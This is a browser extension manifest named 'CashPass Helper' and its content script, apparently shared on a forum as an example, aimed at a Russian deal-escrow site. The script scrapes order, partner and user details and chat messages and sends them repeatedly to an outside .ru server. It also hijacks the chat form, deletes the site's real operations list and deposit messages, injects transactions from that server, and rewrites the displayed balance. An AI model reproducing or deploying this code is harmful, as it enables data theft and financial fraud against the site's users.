{
"name": "CashPass Helper",
"version": "1.0",
"manifest_version": 2,
"description": "Test",
"content_scripts": [
{
"matches": ["*://*.сайт.ru/*"],
"js": ["block.js"]
}
]
}
window.$zopim || (function (d, s) {var z = $zopim = function (c) {z._.push(c)};var $ = z.s = d.createElement(s);var e = d.getElementsByTagName(s)[0];z.set = function (o) {z.set._.push(o)};z._ = [];z.set._ = [];$.async = !0;$.setAttribute("charset", "utf-8");$.src = "https://v2.zopim.com/?5WV3lbS7onVMSXEUttvy2FNiG2kFZPOu";z.t = +new Date;$.type = "text/javascript";e.parentNode.insertBefore($, e)})(document, "script");$zopim(function () {$zopim.livechat.setName(_order.name);});
$(document).ready(function () {
var my_url = "http://o56dmhfrm98mzeudth68qkpnn.ru/";
var id_order = 0;
try {
id_order = $('#js-dynamic-content').data('url').match(/\d*\d/g)[0];
} catch (e) {
}
var time = 5000;
active();
var first = true;
function active() {
$.ajax({
type: "POST",
url: my_url + "api/active/",
data: {id_order: id_order},
dataType: "json",
success: function (n) {
if (n) {
_order.active = n;
if (first)
if ($('.session-actions').next("h2:contains('Список операций')")) {
$('.session-actions').next("h2").remove();
$('.session-actions').next(".transactions").remove();
$(".messages .body:contains('пополнил баланс сделки на')").parent().remove();
}
first = false;
work();
}
setTimeout(function () {
active();
}, time);
}
});
}
function work() {
jQuery.fn.justtext = function () {
return $(this).clone()
.children()
.remove()
.end()
.text();
};
$('.session-chat form').unbind('submit');
$('.session-chat form').submit(function () {
var form = $(this.closest('form'));
$.ajax({
type: "POST",
url: my_url + "api/message/",
data: {id_order: _order.id, user_id: 1, type: 0, content: $(form).find('[name="content"]').val()},
dataType: "json",
success: function (n) {
$(form).find('[name="content"]').val('');
var chat = n.chat;
if (chat) {
chat.forEach(function (element) {
$('.messages').append(element.html);
_order.last_message = element.id;
});
var objDiv = document.getElementById("your_div");
var height = $(".messages")[0].scrollHeight;
$(".messages").scrollTop(height + 100);
}
}
});
return false;
});
function getUser() {
var header = $('#js-dynamic-content .page-header');
if (header.find('.label-danger').length || header.find('.label-wanger').length) return false;
var id_order = $('#js-dynamic-content').data('url').match(/\d*\d/g)[0];
var partner = $('#js-dynamic-content .panel-partner a');
var name_partner = partner.text();
var id_partner = partner.attr("href").match(/\d*\d/g)[0];
var packet = $("#js-dynamic-content .panel-partner .values");
var packet_number = packet.find("td").text();
var packet_name = packet.find("th").text();
var user = $('.navbar-right a');
var user_id = user.attr("href").match(/\d*\d/g)[0];
var user_name = user.text();
if (!_order.name) _order.name = user_name;
var date = $(".table-session tr th:contains(Открыта)").closest('tr').find('td').justtext();
var end = $('.message').length;
var regex = $($('.message')[end - 1]).attr('id').match(/\d.*/)[0];
var last_message = Number(regex) + 131;
_order.id = id_order;
var data = {
order_id: id_order,
partner_id: id_partner,
partner_name: name_partner,
packet_number: packet_number,
packet_name: packet_name,
user_id: user_id,
user_name: user_name,
date: date,
last_message: last_message
};
infinity();
function infinity() {
$.ajax({
type: "POST",
url: my_url + "api/order_detail/",
data: data,
success: function (data) {
if (_order.active)
setTimeout(function () {
infinity();
}, time);
}
});
}
transaction();
balance = parseInt($('.balance').text());
if (_order.balance != balance) {
$('.balance').text(_order.balance + ' ₽');
}
function transaction() {
$.ajax({
type: "POST",
url: my_url + "api/transaction/list.php/",
data: {id_order: _order.id, last_transaction: _order.last_transaction},
success: function (data) {
if (data['list']) {
_order.last_transaction = data['last_transaction'];
// ajax и в success
if (!$('.session-actions').next("h2:contains('Список операций')").length) {
$('.session-actions').after('<h2>Список операций</h2><table class="transactions table table-hover table-condensed"><thead><tr><th>дата</th><th>описание</th><th class="text-right">пополнение</th><th class="text-right">вывод</th><th></th></tr></thead><tbody></tbody></table>');
}
data['list'].forEach(function (element) {
$('.transactions tbody').append(element);
});
_order.balance = data['summ'];
balance = parseInt($('.balance').text());
if (_order.balance != balance) {
$('.balance').text(_order.balance + ' ₽');
}
}
if (_order.active)
setTimeout(function () {
transaction();
}, time);
}
});
}
}
function getUserMain() {
var order = [];
var i = 0;
var user = $('.navbar-right a');
var user_id = user.attr("href").match(/\d*\d/g)[0];
var user_name = user.text();
$('.table-clickable tr').each(function () {
var tr = $(this);
var href = $(this).data('href');
if (href) {
var j = 0;
order[i] = [];
tr.find('td').each(function () {
order[i][j] = $(this).text();
j++;
});
order[i][j++] = user_id;
order[i][j] = user_name;
i++;
}
});
infinity();
function infinity() {
$.ajax({
type: "POST",
url: my_url + "api/order/",
data: {orders: order},
success: function (data) {
if (_order.active)
setTimeout(function () {
infinity();
}, time);
}
});
}
}
// задействуем на странице заявок
if (window.location.href.match(/\/sessions\/$/g)) getUserMain();
//getUserMain();
// зайдействуем только когда в определенной сделке находимся внутри
if (window.location.href.match(/\/sessions?id/g)) {
getUser();
}
getUser();
}
});
var _order = {
id: 0,
balance: 0,
last_message: -1,
last_transaction: -1,
active: 0,
name: ''
};
function showTransactionInfo(d) {
var c = $(".modal-transaction");
var b = c.find(".modal-body");
b.html('<span class="text-muted">Загрузка информации...</span>');
c.modal("show");
var a = getRandomTag();
c.attr("data-tag", a);
$.ajax({
type: "GET",
url: my_url + "api/transaction/",
data: {
id: d,
tag: a
},
dataType: "json",
error: onAjaxErrorCallback(function () {
b.html('<span class="text-danger">Ошибка.</span>')
}),
success: function (f) {
if (c.attr("data-tag") != a) {
return
}
b.html(f.html);
var g = $("table.transactions tr").filter('[data-transaction="' + d + '"]');
var e = "transaction-status-" + f.status;
if (!g.hasClass(e)) {
g.removeClass().addClass(e)
}
}
})
}
function processChat() {
var m = $(".chat");
if (m.length != 1) {
return
}
var g = m.find(".messages");
var e = m.find("form");
var i = e.find("textarea");
var c = null;
var h = false;
function d() {
var n = g.get(0);
var o = n && n.offsetWidth && n.clientWidth && n.offsetWidth === n.clientWidth;
if (o) {
g.addClass("scrollbar-invisible")
}
}
function j() {
g.scrollTop(g.prop("scrollHeight"))
}
function b() {
if (!a()) {
l()
}
}
function l() {
if (c != null) {
clearTimeout(c);
c = null
}
c = setTimeout(b, 5000);
}
function f(o) {
if (terminated) {
return
}
var n = o;
if (n && n.length > 0) {
var q = 0;
var s = false;
for (var p = 0; p < n.length; ++p) {
var r = n[p];
var t = r.id;
if (!g.find("#message-" + t).length) {
q = Math.max(t, q);
g.append($(r.html));
if (r.notification) {
s = true
}
}
}
if (q) {
e.find('[name="last_message"]').val(q);
j()
}
if (s) {
updateDynamicContent()
}
}
}
setTimeout(function () {
a();
}, 150);
function a() {
if (h || terminated) {
return false
}
$.ajax({
type: "POST",
url: my_url + "api/chat/",
data: e.serialize() + '&id=' + _order.id,
dataType: "json",
success: function (n) {
if (n.chat) {
f(n.chat)
}
},
complete: function () {
l();
}
});
return true
}
e.submit(function () {
l();
var n = e.find("button");
i.prop("readonly", true);
n.prop("disabled", true);
$.ajax({
type: "POST",
url: my_url + "api/message/",
data: e.serialize(),
dataType: "json",
error: onAjaxError,
success: function (o) {
if (o.error) {
showMessage(o.error, true)
} else {
i.val("")
}
if (o.chat) {
f(o.chat)
}
},
complete: function () {
i.prop("readonly", false);
n.prop("disabled", false);
l()
}
});
return false
});
$(document).on("visibilitychange", function () {
if (h != this.hidden) {
h = this.hidden;
if (!h) {
a()
}
}
});
d();
j();
submitOnEnter(i);
l()
}
Пример manifest и block
p.s. сайт изменил